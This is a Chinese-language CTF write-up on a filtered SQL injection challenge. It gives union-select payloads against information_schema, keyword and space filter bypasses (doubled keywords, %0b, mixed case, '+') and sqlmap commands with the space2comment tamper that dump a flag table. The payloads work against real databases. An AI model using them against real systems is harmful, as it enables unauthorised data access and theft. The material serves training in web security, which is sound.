天天看點

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

3.簡單的sql注入

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入
CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

思路:

檢測是否存在注入點的兩種常用方法:(更多注入詳情:Sqli-labs環境通關教程-學習)

1.基于報錯的檢測方法

一般這種方法是輸入單引号’。看是否報錯,如果資料庫報錯,說明背景資料庫處理了我們輸入的資料。那麼有可能存在注

入點。

2.基于布爾的檢測方法---(這隻是最基礎的判斷)

這種方法是輸入:

  • 1 and 1=1 ,通常這種情況會正常傳回資料
  • 1 and 1=2 ,通常這種情況不會傳回資料或者直接報錯

或者

  • 1' and '1'='1 ,通常這種情況會正常傳回資料
  • 1' and '1'='2 ,通常這種情況不會傳回資料或者直接報輯

或者 ---(使用雙引号)

如果以上都判斷不出,就要考慮盲注了。

分析:

假如背景處理資料的sq語句(背景在輸入上加了單引号)是:

     select name from user where id=' our_ input '

我們輸入1' and '1'='1 , sq語句變為:

    select name from user where id='1' and 1'='1'

背景資料庫仍然正常讀取資料.

我們輸入1' and '1'='2 , sq語句變為:

    select name from user where id='1' and '1'='2’

這樣查詢條件為假,資料庫不能讀取資料。

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

初步判斷為單引号字元型注入,然後輸入1 and 1=1 ,可以看到過濾了and并且空格被替換為了+ ,是以我們可以推斷,這個題過濾了常用的sq|指令,可以

輸入union and select from進行下測試,發現果然全被過濾掉了

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入
CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

補充:當空格被過濾時,通常用()或者代替空格

爆資料庫

1'unionselectschema_namefrominformation_schema.schematawhere'1'='1

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

發現資料庫較多,嘗試直接爆表

1'unionselecttable_namefrominformation_schema.tableswhere'1'='1

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

表太多了:

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

不過也暴露出了,我們想要的資料表。

爆字段,然而……報錯了,information_schema.columns被過濾了

1'unionselectcolumn_namefrominformation_schema.columnswhere'1'='1

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

是以就猜測字段名也是flag,試一下:(做CTF題,思路要活躍)

1'unionselectflagfromflagwhere'1'='1

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

flag{[email protected]_5O_dAmn_90Od}

其他補充:

我們嘗試單引号:

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

 發現單引号沒有被過濾,然後嘗試邏輯運算,and被過濾了但還好or沒有被過濾:

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

我們知道他過濾了很多關鍵字:and,select,from,union,where,但我們可以繞過關鍵字,方法有:關鍵字中間加隔斷,,關鍵字中間加%0b隔斷,關鍵字重寫(如:aandnd),大小寫混合,雙空格等等,嘗試後可以繞過,還是按套路,先拿flag做表名和字段名試試:

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

 說明存在flag表,那基本就是老套路了,可以繼續用這個方法驗證,下面我就直接爆flag了:

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

ps:這裡還有一種檢驗表名是否存在的方式:

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

注意還可以嘗試這個方法

用‘+‘号來代替空格:?id=1‘+union+select+flag+from+flag+wherewhere+‘t‘=‘t

使用Sqlmap:

來自:https://blog.csdn.net/dongyanwen6036/article/details/77825479

基于windows下的sqlmap:

這裡我們會用到tamper,是Python寫的,sqlmap一般自帶,主要的作用是繞過WAF ,空格被過濾可以使用space2comment.py,過濾系統對大小寫敏感可以使用randomcase.py等等。

這裡用的level參數是執行測試的等級(1-5,預設為1) ,sqlmap預設測試所有的GET和POST參數,當–level的值大于等于2的時候也會測試HTTP Cookie頭的值,當大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
           
CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

繼續在web1資料庫中查找

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --table
           

(注意這裡指令應該是 --tables 而這裡用 --table也能成功,長見識了)

CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

繼續找吧

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column
           
CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

接下來就直接看結果吧

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C flag --dump
           
CTF-Web3-(SQL簡單過濾繞過)3.簡單的sql注入

完。